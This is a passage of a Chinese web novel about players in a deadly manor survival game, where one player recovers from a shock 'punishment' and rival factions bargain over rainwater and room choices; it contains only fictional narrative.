今天,北城的“兵哥”明显也遭受了“惩罚”,但作为他的队友,秀老板和司徒雅看起来没那么慌张,甚至连一点急救措施都没做,只是将他带走。
难道是有什么方法,能够自动醒来吗?
宋白河的急救,只是加速了苏醒的过程?
沈墨棠脑袋一阵抽痛!
【巫凌海庄园】有太多匪夷所思的事情,在规则里都没有细说。想要将一切都搞清楚,势必会浪费宝贵的时间和精力。
当务之急,还是先专注在游戏有用的信息上吧。
“回燕台,找小六姐。”
“好。”
宋白河应了一声,扶着怀中虚弱的身躯,重新踏上通往湖中岛的曲桥。
……
阳光逐渐明朗,像是云层飘开。
曲桥很窄,两人并行有些危险,所以宋白河搂得很小心,走得很慢,生怕出什么意外。
沈墨棠实在是没有半点力气。
她示意宋白河停下,然后往旁边湖里又干呕了几声,想将嘴巴里残留的呕吐物吐掉。
舌头除了苦涩,什么也感受不到,喉咙也干得发痒,肚子又饿,脑子又晕,想吐都吐不出来。
已经多久没吃饭,没喝水了?
再这么下去,恐怕没等到游戏结束,就要熬不住提前淘汰。
总之,第三天的首要任务,是先解决身体补给问题。
先和小六姐会合吧。
沈墨棠张嘴想说“走”,嗓子里却发不出任何声音,只有气体流动,如同刀片一样。
她痛苦地皱起眉,轻拍宋白河的胸膛,然后往前指。
宋白河会意,扶她继续小心前进,但行进的速度却越来越慢,越来越慢。沈墨棠的身体正迅速失去力气,双腿使不上劲,几乎是靠着腰间强壮的胳膊才得以站立。
“我抱你吧?”
当沈墨棠差点跌进湖中的时候,被宋白河直接揽入怀中,被他屈身抱起。
他压低的声音从胸口位置传来:“这样可以走快些。”
她缓了一口气,半闭着眼,颔首点头,让齐刘海盖住自己的眼睛。
他抱着她,穿过虚假的晨光湖景,登上湖中岛。
……
“小九?!”
周彤在看见两人的第一时间就冲下燕台,东城三人在假山石阶处相会。
沈墨棠痛苦地闭着眼,脸色苍白,奄奄一息。
见这情形,周彤冷下脸,怒冲宋白河:“小九怎么了?”
“我……她……”
宋白河也自责没照顾好沈墨棠,支支吾吾说不出个所以然。
宋白河、周彤二者身体素质都强于常人,而且还没遭受过“惩罚”,所以即便十几个小时不吃不喝,还是保有良好的精力。
周彤:“说清楚!”
宋白河低头仔细观察了怀中的人,心中有数:“低血糖。小六姐,我们要去找水,喝的水,以及食物。”
“那快走!”
周彤甩手。
……
燕台上,西城剩下的两名玩家看着这一幕,目光短暂交织。
92. 巫凌海庄园19
半个小时前,沈墨棠和宋白河离开燕台,秃头男紧随其后。
“哎哟,你们两家这是算暗中交易了咧?”
老仙儿又抖起腿,奇怪的语调里透出危险和怀疑,那双老鹰一样的眼神来回扫过其他人。
最后定在周彤脸上。
根据沈墨棠的安排,周彤独自留在燕台上,算作掩护和制约,防止其他城区背着东城结盟。
这么做的话,似乎没必要搭理老仙儿。
于是周彤保持缄默,一副“在我律师来之前,我一句话也不会说”的态度。
老仙儿没能跟冷冰冰的周彤搭上茬,干巴巴一笑,继续摇头晃脑唱起小曲,倒摆出一副“姜太公钓鱼愿者上钩”的闲适姿态。
像是在等人来主动结盟。
但他钓了个空——没过一会,北城剩下的两人也走了,看方向是去找沈墨棠、宋白河和秃头男。
三对二?
虽然白天有陶瓷娃娃在,北城的人应该不敢做什么,但周彤心中还是升起一抹担心。
这点变化没逃过老仙儿的眼睛,这位粉毛衣大叔立刻添了把火:“哎,我说孩子,你队友都走咧,他们也走咧,把你自己落这儿是啥意思?”
周彤清清楚楚听进了这话,望着湖面曲桥上的司徒雅和秀老板,没搭理老仙儿。
北城的人都走了,就算自己现在离开,也不过是留南城和西城结盟而已——如果他们真的想结盟的话,当着她的面结盟,她也拦不住。
该走还是该留呢?
……
“喂喂喂!咋啦!”
南城突然咋咋呼呼喊了几声。
周彤回头,看见南城的小姑娘直挺挺倒在地上,她身后的陶瓷娃娃正放开双手,而旁边的兜帽男被吓得大呼小叫:“柯思思,柯思思她她她她老仙儿她怎么啦!?”
老仙儿愣坐在旁边,也陷入惊愕中。
突然昏倒了?
周彤看着柯思思反应,突然意识到——这是受到“惩罚”了吧?
就像昨天小九那样!
所以柯思思昨晚被扣分了!
惩罚……
周彤瞟了眼西城中年男,看他的表情,似乎也猜到柯思思是怎么回事。
毕竟中年男在昨天也接受过“惩罚”。
南城第一天没人扣分,所以他们至今都还不知道“惩罚”是什么,才会这么慌乱。
周彤再看回南城,正对上老仙儿锐利的目光,那是种充满防备和穿透力的眼神,透着歹毒,像被掀了窝的狗妈妈。
“走咧。”老仙儿难得压低嗓音,示意兜帽男抱起小姑娘。
随后领着他们,从另一侧走下燕台,灰溜溜离开了。
……
燕台只剩下周彤和西城两人。
彼此沉默,略显尴尬。
周彤眼观鼻鼻观心,坐在戏台上比谁都稳,知道自己算是捡到漏了。
南城偷鸡不成蚀把米。
老仙儿应该是想从其他阵营那里窃取信息,没想到却自己暴.露昨晚扣分的成员。
这么说来,西城两人到现在都没受到“惩罚”,所以他们昨晚都得分了?
周彤重又将视线投向湖面,晨光逐渐明朗,浑浊的湖水竟然也泛出丝丝波光。沈墨棠、宋白河还有北城的人,都消失在湖边的游廊里,看不见了。
要去找他们吗?还是继续呆在这里?
白天不能使用暴力。
而且万一去找的时候,走岔错开了,反倒浪费时间。
还是继续按照小九说的,在燕台等她和宋白河回来吧。
……
“我们要不要合作一次?”
西城的中年男开口打破沉默。
周彤熟悉这个声音——第一天晚上,他在“戊”房间的惨叫十分特别。
周彤听过很多惨叫,胳膊被分筋错骨时的惨叫,各有不同。即便如此,中年男的惨叫还是引起她的兴趣,他属于那种断断续续的惨叫,疼得不行了,才叫一声,然后又忍到疼得不行,再叫一声,像是哀呻,特别有趣。
如果需要的话,周彤不介意再卸掉他的另一条胳膊。
“我们还没合作过。”中年男往前一步,但还是隔着半个戏台,心有余悸般保持距离。“你们跟北城联盟了吗?”
周彤上下瞟了他一眼,没有回应。
中年男没有放弃,冲周彤指了下身后的青年男:“我们只剩下两个人,想赢很难了。”
周彤微微皱眉,表情嫌弃:那你还好意思来结盟?
实际上,第一天夜里,中年男隐隐约约表现出跟北城连衣裙女人有结盟的倾向。但他们又选了同个房间,是竞争关系,所以也无法确定西城和北城是否达成了交易。
更何况周彤也不在意这个。
实在不行,就按最快捷的玩法——只要把其他人都杀光,剩下的自然就是胜利者。
见周彤无动于衷,中年男和青年男也都沉默下来。又过一会,换青年男凑过来:“小姐姐,你是在等他们吗?”
周彤回了个头,没说话。
青年男又问:“你的队友?还是北城的人?”
青年男20岁出头,白衬衫的下摆只有一半塞进裤腰,而不像他两个队友那样穿得整整齐齐,显得更加潮流。他身材瘦高,腿很长,散发着青春男孩的气息,顶着碎发的一张娃娃脸倒是讨人喜欢。
周彤算不上是颜控,但养眼的帅哥总会让人多看几眼。
从游戏开始至今,这还是头一回听到青年男开口说话,嗓音干净,咬字清晰。
或许是因为好奇,周彤没有立即挪开视线。
青年男站在原地等了等,见周彤没有明显的不悦,他迅速拉过自己的凳子,坐近一些,眨着两颗明晃晃的眼睛:“小姐姐,我哥他……他说你功夫很厉害?”
功夫?
周彤看向中年男,他已经识趣地走远,靠在燕台的一根立柱上,望着外面发呆。
看样子,是想给周彤和青年男留出私聊的空间。
青年男身上很香,是那种男士香水的味道,从他坐下时敞开的衣领里散出来。他的西城领带打得很松,胸前的几颗纽扣都没扣紧,所以当俯身的时候,领带圈着的衬衫领子底下会敞开一块,隐隐约约展露出白皙的锁骨以及结实胸肌。
这是……开始用“美男计”了?
周彤有点想笑,确实没想到西城还有这招。
在之前的永夜城游戏中,周彤也遭遇过几次“卖弄男色”,只不过没遇上她喜欢的类型。
现在这青年男,外形倒是不错……
“小姐姐,我从小就是功夫迷,你能不能告诉我学的是什么功夫呀?”青年男又将凳子移近一些。
周彤没有表现出抗拒,甚至颇有兴趣,青年男敏锐地捕捉到这点。
“你想试试?”闲着没事,不如逗逗小狗。
周彤微微眯了下眼。
“我可以吗,”青年男岔开两条穿着西裤的大长腿,有目的地展示自己的好身材,一本正经说着:“我一只都很想学功夫啊,听他们说,会跳舞的人学功夫很快。”
周彤挑眉,上下扫视青年男:“跳舞?”
“嗯,我跳urben的!”青年男开朗地笑,青春阳光,热情可爱。
周彤看进他的眼睛,她还挺吃这套的:“什么本?”
青年男往下扯了扯领带:“街舞的一种,编舞,融合很多街舞的舞种。”
“哦。”
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“唔……”青年男前倾身子,以一副好奇的微笑表情,去看周彤的脸:“小姐姐你能教教我吗?”
“不会。”
“诶?那你怎么这么厉害?”青年男边说,边学中年男的样子托起胳膊,略显滑稽。
周彤终于露出一丝笑意:“有机会让你也试试。”
“那要选相同的房间才可以。”青年男像是没听懂周彤的言外之意,他故作天真地挠挠头,微低着脑袋:“小姐姐,我直说了吧,是我哥让我来的,我哥的意思是,咱们可以商量着来……我叫王宇韬,可以叫我小韬,韬韬。”
说着,他向前伸长手臂,五指微张,手掌干净白皙。
周彤只是点头:“你牌面是什么?”
王宇韬保持着姿势:“白九筒。”
“我是青六万,周彤。”周彤的口吻冷了下来:“你们想怎么合作?”
两人目光接触,脸上的笑意逐渐凝固,变成理性的防备。
王宇韬收回手臂,站起身,嘴角僵硬勾着:“叫我哥来谈吧?”
周彤冷笑:“你不能做主吗?”
“唔……可以……但是……”他吞吞吐吐说到一半,眼神带着求助看向中年男。
中年男至始至终都来回看着湖面和燕台,第一时间收到王宇韬的讯号后,就立即往这边走来,提醒周彤说:“你队友回来了。”
终于回来了?
周彤立刻起身看向湖面,宋白河正抱着沈墨棠,登上湖中岛。
周彤撇下西城两人,急急忙忙跃下燕台。
“小九怎么了?”
……
“哪里有能喝的水?”周彤站在湖边的“眠鹊亭”内,望着茫茫湖面,想到了什么:“湖水?”
“湖水喝不了。”
宋白河坐在眠鹊亭的歇靠边,照顾旁边虚弱的沈墨棠,一边说着:“小六姐,我们可以找找有没有厨房、水井什么的,生火把水烧开了喝。”
周彤回头,目光落在沈墨棠身上,面露难色:“来得及吗?小九低血糖……”
沈墨棠的状态看起来很不好,苍白的脸已经开始发青,一直闭着眼睛,一言不发,不知道是清醒还是昏迷,整个人毫无力气瘫在宋白河怀中。
只有当宋白河和周彤尝试叫她的时候,她才久久抬起眼皮,很快又合上。
沈墨棠的眼睛,已经快没有聚焦了。
“她又被惩罚了一次,不太好。”宋白河说话的声音低许多。
周彤想了想:“昨天找到的那些药?”
“没用。”宋白河摇摇头:“医疗绷带只能治外伤,其他药都过期了,连酒精都挥发光了……哦!应该……”
他突然一顿。
“什么?”周彤催促。
宋白河看了看亭檐,又望向湖面:“雨水应该是干净的,可以喝。”
“雨水?”
“雨停才几个小时,应该有地方还没被晒干,水坑……”宋白河握着沈墨棠的手腕,语气苦闷:“……湖水腐烂物太多了,肯定不能直接喝,如果是雨水会好很多……还有要找个地方让她好好休息,她连续休克了两次,脉搏太虚弱了,再这样下去肯定不行……”
周彤打断宋白河的碎碎念:“你照顾她,我去找水。”
这时游廊一侧传来叫声:“小姐姐。”
——跟来的王宇韬拦住周彤的去路。
他的身后是西城的中年男。
中年男扶着自己的胳膊,侧眼看向周彤身后,亭子里昏迷不醒的沈墨棠。
周彤站在亭子台阶上,往旁一步挡住他的视线,冷冷道:“找死吗?”
中年男举起自己没受伤的手,做出投降姿态:
“我看,你们好像想找能喝的水?”
93. 巫凌海庄园20
“小九。”
小六姐的声音急促。
但沈墨棠眼睛睁不开,张嘴发不出声音,身体像是被灌了铅水。心里难受得发慌,像是许久未见雨水的土地一块块正在龟裂。
嘴边突然感受到一丝清凉,有液体湿润嘴唇,进入口腔,缓解喉咙的干涸。
黑暗中响起宋白河的声音:“慢点,小六姐,她呛到了。”
到嘴的水便停止。
“……”沈墨棠像是叹了口气。
宋白河又说:“一点点喂。”
“你来。”小六姐的声音离远。
停了一下,清凉的水又凑到嘴边,一小口,再一小口,一点一点,滋润了唇齿、口腔、嗓子,顺着食道流入体内,融化了僵硬的血肉筋骨。昏沉的精神稍稍升起,落在舒缓的云层中。
水快溢出唇沿的时候,便适时停下。
沈墨棠微微睁眼,穿过朦胧的视野,是宋白河的脸,在他身后,是小六姐快要溢出的关切。
“小九?”
太好了。人都在。
安全了吧。
沉重的眼皮重新合上,沈墨棠放松地坠入黑暗中。
……
周彤皱着一张脸,接过宋白河手中的茶壶:“小九没事吧?”
“像睡着了。”宋白河皱着眉。
三人身处古香古色的中式建筑内,灰白相间的砖砌墙面,大块的方形地砖,朱漆花窗嵌着乳白色的玻璃,玻璃和漆差不多都掉光了,只剩下一两扇还恪守岗位。敞开的窗口外,还有一道窄窄的走廊,然后便是雕有鸟兽的凭栏。
这里是“倚月听雨楼”的二楼,看起来是喝茶的地方。
完好的茶几仅有两张,被拼在一起,沈墨棠平躺其上,喝了水后沉沉入睡。
厅堂朝北有道圆拱,隔出小空间,大部分家具都风化腐蚀了,隐约能看出地上那堆东西里有笔砚和古琴的残骸。
周彤手中握着的圆筒小茶壶,却不是这里的东西,而是来自西城玩家。
“还好他们没骗我们。”宋白河看着周彤手中的白瓷茶壶,想起刚才的事,“小六姐,你说那两个人为什么那么好心……会不会像南城那样摆我们一道?”
周彤说不准,她抿嘴:“先等小九醒来吧,听她的。”
“但你不是答应……嗯。”宋白河说到一半,自己止住了话。
……
不久前,眠鹊亭。
西城的两个玩家跟上来。
中年男压低嗓子,卖着关子:“青六万,我们知道哪有水,也可以分给你们……我们很有诚意的,希望可以合作。”
“怎么合作?”周彤不想在太阳底下再浪费时间。
小九的情况不太妙。
中年男站在眠鹊亭外,面对台阶上的周彤,视线与她基本持平:“我会把我们要选的房间告诉你。”
“然后?”
“然后你们……不要选我们的房间,也不要告诉别人我们的房间。”中年男一边说着,一边往前,踩上眠鹊亭的最低一级台阶。
他的视线已经比周彤高了,只不过周彤寸步未让,所以他最多也只能站在这里。
周彤目光越过中年男,瞥了眼他身后的王宇韬,又转回来:“可以。”
她补充:“我们不会选,也不会告诉别人……但如果其他人选了?”
“只要不是你们说的,就不算你们违反约定。”中年男笑了一下,往后退下台阶:“我只是不想西城那么快淘汰,想多留几天,至少能撑到游戏结束。”
周彤越来越不耐烦,说话毫不留情:“你再遇上我会被杀死。”
中年男一愣,盯着周彤,似乎要确定她是不是认真的。
片刻后,他才尴尬笑着:“对,所以我想避开你们。”
周彤少见的急躁:“行了,我已经答应了。水呢?”
“你能代表……”中年男指了指亭子里的宋白河和沈墨棠。
“能。”周彤没有回头。
中年男说了声“好”,停顿一下,回头冲王宇韬说:“给他们一壶水吧。”
“好,我去拿,等我。”王宇韬转身,立刻往游廊另一端跑去。
很快不见身影。
周彤眯起眼睛,难掩焦急。
“很快。”中年男虚虚笑着,伸手擦了擦额头上不知道有没有存在的汗,从旁边绕过周彤,进了亭子。
周彤没有拦他。
宋白河这时候才插嘴:“你们确定是可以直接喝的水?”
“雨水。”中年男坐到眠鹊亭另一侧的歇靠上,饶有意味打量宋白河怀中的沈墨棠,继续解释:“昨天……前天……下雨的时候收集的,可以喝,我喝过了,我们都喝过了。”
他突然话锋一转:“她怎么那么弱,不像你们东城的风格啊?我昨天也这样,但是很快就好了。”
“很快吗?”
宋白河皱了眉,想起刚才北城对秃头男的态度,也是举重若轻的样子,似乎并不把“惩罚”太当回事。
是沈墨棠身体太虚了?
宋白河眉头一皱,又问中年男:“你也是……遭受‘惩罚’了对吧?”
“是。”中年男说着,看向周彤,眼里既赏识又透着害怕:“技不如人,摇不到铃铛啊。”
周彤坐到昏迷的沈墨棠身旁,冷冽的目光如同刀一样扫过中年男,没有搭茬。
“惩罚是什么样的?”宋白河问:“具体怎么回事?”
“哥们,你可以自己体验一下。”中年男讪笑了起来,或许是右胳膊的抽痛提醒了他,于是在看了周彤的脸色后,迅速改口:“开玩笑……就是,电你。”
他指向跟进亭子的陶瓷娃娃。
宋白河:“电击吗?”
“是。”中年男顿了顿,身子往后靠,语气带着哀伤:“你能挺得过来就能挺得过来,挺不过来……就没了。”
宋白河以为对方是在说沈墨棠,重重做了深呼吸。
突然他想到什么,问:“你会吐吗?”
“吐?”
“呕吐,吐一堆……脏兮兮的,像是被呛水的那样?”
“呃,我是不会。”中年男看向沈墨棠,困惑地挠挠下巴:“她会吐?”
宋白河对上周彤的眼色,只回了句“啊”就连忙住嘴。
所以,西城的人不会吐?
那为什么沈墨棠会呕吐?
是中年男在说谎,还是说游戏的“惩罚”因人而异?
有些人体质好,症状就轻一些,有些人体质差,症状就比较严重?
“不过,哥们。”中年男打断了宋白河的思绪,“你也挺狠呐,把我们老大肚子都捅破了。”
“嗯?”
宋白河抬眼,对上中年男充满敌意的目光,与刚才判若两人。
“你牌面是什么?”中年男迅速隐去敌意,仿佛刚才从未出现过不该出现的情绪。
宋白河一时竟没反应过来。
中年男又说:“我是白八筒。”
“青三筒。”宋白河淡淡回应。
“青三筒。”中年男重复了一遍,又问:“你头一晚,怎么会和我们老大打得那么凶?摇个铃而已,没必要下死手吧?”
下死手?
谁先下的死手?
宋白河完全
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不想回答这个问题。
他甚至想让对方自己死一死,去问他的老大,第一晚为什么下那么狠的手。
如果不是运气好,那今天死的人应该就是他宋白河了吧!
第一天晚上,宋白河本以为其他[凶屋]也会爆发激烈的死斗……但天亮集合时,才发现只有自己搞得那么狼狈,还间接导致了大块头的淘汰。
是自己下手太狠吗?
不对啊,是大块头先动的手,自己只是自卫还击!
况且永夜城无时无刻不在死斗,充斥着一股变态的“社会达尔文主义”,想要适应这个世界,就需要从内到外武装自己……
“最后,你又为什么要帮他包扎?”中年男好奇。
包扎。
宋白河看向中年男,神色突然一迷。
是啊,如果想要致人于死地,为什么还要为他包扎呢?
出于本能?
还是伪善?
还是……受到了什么影响?
“为什么?”
中年男的困惑没来得及到回答,王宇韬的身影就重回游廊,正朝这边跑来,举着一个白瓷茶壶。
“雨水,昨天收集的。”中年男不再继续追问大块头的事。
王宇韬直接跑进眠鹊亭,微微喘气:“你们快点,南城的好像往这边来了。”
南城?
中年男挠着下巴,看到宋白河和周彤神色紧张,漫不经心开口:“南城……好像还不知道她被惩罚的事吧?”
刚才在燕台上,周彤和西城都亲眼目睹了南城柯思思受到“惩罚”,但南城没看到沈墨棠的反应。
“来这里?”周彤站起身,和王宇韬眼神接触,并接过他手中的白瓷茶壶。
“是的,小姐姐。”王宇韬冲周彤露齿一笑,但神色间明显没有挑逗的意思,倒有点警惕,“他们那个叫柯思思的妹妹醒了,我过来的时候碰上了。”
“既然没时间了,先说完吧。”中年男起身,急急忙忙抢过话头:“水给你们了,我们的合作还算数吗?”
周彤掂了掂茶壶,将其递给宋白河。
宋白河打开一看,茶壶的容量大概有一升,里面装了差不多3/4的清水,应该是如西城所说,雨水无误。
“算。”
周彤看了眼王宇韬来时的游廊,然后抬手示意宋白河将沈墨棠抱起来,准备随时离开。
既然东、西城要合作,最好不要让其他阵营知晓过多信息。
中年男迅速说道:“我们两个会选择甲、乙,就是第一和第二个房间。如果有变,会通知你们。”
“知道了。”
周彤挥挥手,让宋白河先抱沈墨棠从另一侧离开眠鹊亭。
她给西城留下承诺:“我们不选甲乙,也不会跟别人说。”
“合作愉快,小姐姐。”、“嗯,青六万。”
王宇韬、中年男打过招呼,仍旧留在眠鹊亭,看样子是打算和南城接触了。
……
宋白河和周彤,找了个游廊拐角的出口,匆匆进入某个中式庭院,见到门头镌刻着“倚月听雨楼”的建筑,沿着楼梯上到二楼,来到还算干净的厅堂中。
窗外是正午阳光,绿荫成趣,就是少了鲜活的鸟叫虫鸣,显得诡异。
从这里能远眺湖面,那些弯折的曲桥静静的,犹如巨大的窗框。
“宋白河。”周彤突然问:“问你个事?”
“嗯?”
“你哪里学的急救?”
“哦,小时候……按你们的说法,是‘太虚’里学的。”宋白河注视熟睡的沈墨棠,缓缓开口:“我爸妈是医生。”
94. 巫凌海庄园21
沈墨棠睡了两个多小时。
脑子迷迷糊糊的,浑身酸痛,仿佛死过一次……两次?
忘了自己身在何处,更别提要往哪去。
恍惚间只觉得周围有光,有人,有声音,宋白河和周彤的声音,语气却忧心忡忡:“小九,快醒醒,只剩半个小时,要选房间了。”
选房间?
沈墨棠被扶着,软弱无力,坐了起来。
只这一下,视野就忽然暗了下去,窗外暝昏如血,呼唤黑夜。
“小九,你还行吗?”
谁在说话?
沈墨棠先看宋白河,又看周彤,又看窗外,再看回周彤,一时间天旋地转。
对,这里是……
他们是玩家,我也是玩家……
这里是永夜城,是四方战,是……
巫凌海庄园……
……
周彤见沈墨棠没有反应,不解地看向宋白河。
宋白河只能摇头,目光未从沈墨棠身上离开过片刻。
“我们选。”周彤背对窗外阴郁的天色:“跟昨天一样,你选3,我选5。小九她……这个情况,今晚就跟我吧,我让她摇铃。”
今天晚上只剩下8间房可以选。
玩家还剩11个人。
若是让沈墨棠单独选一个房间,万一遇上其他玩家,以她现在的状态,肯定是待宰的羔羊。
今晚必须有人和她在一起,而且要让她摇铃,不能再受“惩罚”了。
“小六姐。”宋白河扶着沈墨棠重新躺下,若有所思:“还是我来吧。”
周彤断然:“你也不太好。”
宋白河一噎,没有放弃:“小六姐,我们按计划来。惩罚力度到底多重,我们两个现在谁也不知道。目前你的分数最高,要保存体力,后面还有四五天呢……今晚我来保证她摇铃!”
周彤摇头:“你别说了,就这样决定,我跟小九一起。”
“等等,小六姐你听我说……”
“不,就这么定了。”
“我们……”
“吵死了。”沈墨棠翻身侧躺,伸手打断。
宋白河跟周彤见状,赶紧停下争执。
周彤:“小九,你醒了。”
宋白河扶着沈墨棠:“感觉怎么样?”
两人的声音像连珠炮一样,轰得沈墨棠耳朵嗡嗡响,一句也不想回答。她很想睡觉,想要就此长眠,无需在意任何事,告别烦扰,告别世界,告别被无形之力掌控的人生,被巨人捏碎。
巨人……
是“惩罚”的影响吗?
脑中有一根弦被拨了一下,当地一声,稍止睡意。
沈墨棠没有睁眼,缓缓地,疲惫地问:
“还有多久天黑?”
“马上。”宋白河立刻回应。
“嗯……”
重重叹出一口气,沈墨棠吃力地起身,身下拼凑的“床榻”略微晃动,宋白河和小六姐又急忙扶住。
咬牙,睁开眼:“先选房,跟昨天一样。”
“小九……”
“我可以的。”沈墨棠抬起一只手,直接进入下个话题,问:“说说现在的情况,你们知道今天谁扣分了吗?”
她气若游丝,宋白河和周彤只能凑近了,才听得清楚。
“南城那个女的,柯思思昨晚摇铃了。”周彤看向宋白河,宋白河立刻补充:“还有北城,那个戴牙套的,秃头那个也摇铃了。”
“那就是四个人,没错。”
南城的柯思思、北城的秃头男、死去已被淘汰的西城大块头,还有沈墨棠自己。
清冷的眸子透出一丝强行的锐利。
第二晚,也是四个人扣分。
从山墙信息上看,第二晚总共有15分。
根据之前的推断,可以确定大块头是带着“1分”淘汰的——所以昨晚过后,场上出现了唯一的“0分”玩家——“戌”。
会是谁呢?
不行……脑子好晕……根本转不起来……
沈墨棠咬牙冷笑:大意了。
之前就知道,四方战的“筒子类”游戏都偏体力,只是没想到是这种“体力”。
【巫凌海庄园】游戏全局有43个小时,玩家在其中需要进行高强度的游戏对抗,不论是精力还是体能都消耗巨大,更何况游戏内没有提供现成的食水补给,还有“陶瓷娃娃”时刻跟随,一旦扣分,就要受到它们的惩罚……
在科技高度发达的永夜城里,衣来伸手饭来张口习惯了,突然还有点适应不了这种“饿肚子”的生活。
“……”
沈墨棠嘬了口宋白河递到嘴边的水,尝出是甜的,清澈的,味觉恢复了一些。
她还想多喝点,但那白瓷茶壶里已经见底。
今天本来打算好好在庄园里搜搜的,谁曾想一晕就是几个小时,直接到天黑。
沈墨棠挠了挠额头,干咽了几口唾沫,调整状态,开始动脑。
无论如何,对场上游戏信息的整理都很重要,决定了后半程游戏的发展。
目前已知的有:
1,第一天的4个扣分玩家是“西城大块头”、“西城中年男”、“北城连衣裙”、“沈墨棠”。
2,第二天的4个扣分玩家是“西城大块头”、“南城小姑娘”、“北城秃头男”、“沈墨棠”。
3,第一天的“0分”玩家“寅”在第二天变成“2分”,所以“寅”是第一天的扣分者,但不是第二天的扣分者——“寅”是“西城中年男”和“北城连衣裙”其中之一。
4,沈墨棠[厌恶]第一天的其他三个扣分者之一,但无法确定第二天的情况。
5,“亥”玩家[厌恶]第一天的四个扣分者之一,但无法确定第二天的情况。
6,宋白河[喜爱]第一天的四个扣分者之一,但无法确定第二天的情况。
7,沈墨棠“午”,裴珠,客人;宋白河“辰”,巫乐安,少爷;周彤“酉”,安妮,医生;大块头“子”,巫本全,老爷。
8,北城提供的信息:“巫老爷”无法生育,但庄园里有两个“少爷”。
……
“两个少爷?”
沈墨棠突然意识到什么,思绪中断,看向宋白河:“你还记得第一天的幻觉吗?”
“我?”宋白河回忆了一下,点了头。
沈墨棠问:“有人叫了少爷,但不是叫你?”
宋白河反应片刻,才理解沈墨棠的意思,又点了头:“嗯。”
宋白河的角色“巫乐安”身份是“少爷”,却在“河田楼”遭到下人殴打欺凌,而这时候又有人劝“少爷”别打了?
如果西城提供的信息无误,那么当时就还有另外一个“少爷”,是欺凌巫乐安的人!
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沈墨棠痛苦地闭上眼,强迫大脑继续转起来——庄园里的两个“少爷”,一个是欺凌者,一个是被欺凌者。
但是,如果巫老爷无法生育的话,这两位“少爷”又是哪来的呢?
目前还需要确认更多的信息。
而且,沈墨棠还对自己的角色“裴珠”一无所知,不知道从哪里找线索。
“先选房间吧。”沈墨棠转向另一侧站立的陶瓷娃娃:“我……”
“等下,小九。”
周彤叫住了她,将她昏迷期间,和西城的“合作”说了一遍。
沈墨棠听完,只是“嗯”地点点头,表示知道了。
眼见窗外天黑,她叫出陶瓷娃娃的机械面板,按下“丙”房间。
……
“嗒”、“嗒”。
西城的两人分别按下“甲”和“乙”。
王宇韬拍掉身上的泥沙,半坐在历经沧桑的门枕石上,修长的腿一下一下踩着墙。像是想到什么,他深吸一口气,开口:“黑布哥,这样的话,明天我们就没水了。”
“你渴吗?”白八筒蹲坐在旁边的门槛上,膝盖架着两肘,左手缓缓揉捏右肩膀,不停从牙缝吸气。
“现在不会。”王宇韬顿了顿,又道:“但还要很久呢,嗯……二三十个小时?而且南城那边……”
“撑得过去。”
“哦。”
“再说了,你不是已经知道自己[喜爱]的角色是哪个了吗?明天集合的时候找机会再确定一下,我看他们不一定比咱们知道的多。老大没了,但我们还是有机会赢的。”白八筒站起身,活动活动右胳膊,脱臼的症状稍微缓解了些。
王宇韬落脚,迟疑片刻,“我是感觉不一定。”
“什么不一定?”
“不一定是那个人,我[喜爱]的。”
“不是吗?”白八筒晃晃脑袋,回头看门内:“你记得她,不是说还一起泡咖啡?不喜欢的话怎么会有回忆?”
王宇韬发出不确定的轻哼,沉默了。
他也看向门内,两人身后是一座小院落,仅有一个庭院和三间屋子。
屋内两人不止一次进去过,里面是西式的装潢——虽然基本看不出太多原有的样貌。
最先发现这里的是王宇韬。
昨天,白二万被宋白河伤成那样,而白八筒也在早晨集合结束后不久,同白二万一起双双受到“惩罚”触电休克……西城瞬间只剩下王宇韬还清醒着,面对两个失去行动力的队友,手足无措。
彼时燕台上人去楼空,东、南、北阵营的人都走了,只剩下西城。
王宇韬很快反应过来,不能让其他阵营的玩家清楚西城的状况,于是先后将两个队友都拖进后台,算是暂时藏起来。
随后他要考虑的,就是怎么救醒两人。
自己都感觉到口渴,可能弄点水来会有用吧?
不久,等王宇韬盛了些昨夜刚下的雨水返回时,白八筒已经醒来,正疑惑王宇韬去了哪。两人喝了水,担心有玩家会返回燕台,于是一左一右架起白二万,花些力气在庄园里找了个算是偏僻的地方。
就是这个无名院落。
王宇韬踏进正对院门的屋子,突然星月流转,日出日落,门外的天黑了下来,屋内的炉子上升起水气。
“范德尔,你得再跟我讲讲,这好看的壶子到底怎么工作的。”
95. 巫凌海庄园22
王宇韬不知道自己说了什么。
他鬼使神差地,不受控制地,从胸前口袋里掏出手帕垫手,抓起炉子上的壶把手,提到茶几处。
茶几旁边,是一个人影,很熟悉,又很陌生的人影,像是半笑着,看着王宇韬将壶里的黑色液体倒进两个白色茶杯中。
咖啡?
“你说的真有趣,我是说,你能将简单的蒸馏扯上战争。范德尔,告诉我,你们男人脑子里就只有打仗吗?”她说着话。
王宇韬根本不知道她在说什么。
对,是她,是个女人,能感觉出来。
王宇韬坐在茶几另一边,打开桌上的蜜饯盒,用镊子从里面取出一块方糖。他只是夹着方糖,好像又说了什么,才将方糖放进对方的咖啡里。
她又回应了:“是的,是的,别忘了我可是个‘医生’,我知道白糖的用处。”
王宇韬继续为对方添了一块方糖,然后将蜜饯盒盖上,镊子放回原处。
“所以,你今晚又要熬夜了,是吗?”对方拿过桌上的小瓷勺,轻轻搅开咖啡,发出叮叮当当的轻响。
王宇韬端起自己的咖啡,吹了吹,热气飘往门外,融入夜色中。
他应该是喝了一口,只不过什么味道也尝不出来,喉咙还是渴的,喝了个寂寞。
是幻觉吧?
但是幻觉里,却能真实听到旁人的声音?
他转头,注视着茶几另一侧的人,很长很长时间,可她始终一片模糊。
“范德尔。”她突然微微啜泣:“这段时间谢谢你,范德尔,你是个很好的人。”
发好人卡?
有那么一瞬间,王宇韬感觉自己就是游戏里的角色,就是“范德尔律师”。
他起身,绕过茶几,蹲在她身前,仰头望着那张模糊的脸,然后轻轻开口,慢慢靠近。
胸前却被她的双手抵住:“不,范德尔,对不起……在我为他报仇之前,我无法接受新的人。”
“你在干嘛?”
白八筒的声音从背后响起。
王宇韬一晃神,眼前只有空荡荡的腐朽家具,墙壁凹凸破烂,阳光从门外照进来,空气里全是尘埃。
……
【巫凌海庄园】游戏第三夜,“丙”房间,[凶屋]。
宋白河将长椅放在房间中央,正对屋顶的铃铛下方,随后朝沈墨棠伸出手:“我扶你。”
两人再次独处一室。
“不急。”沈墨棠被他扶着,没有踩上长椅,而是坐下,身体顺势往他身上一摊。
累。
沈墨棠气若游丝:“告诉我,白天发生的一切,所有。”
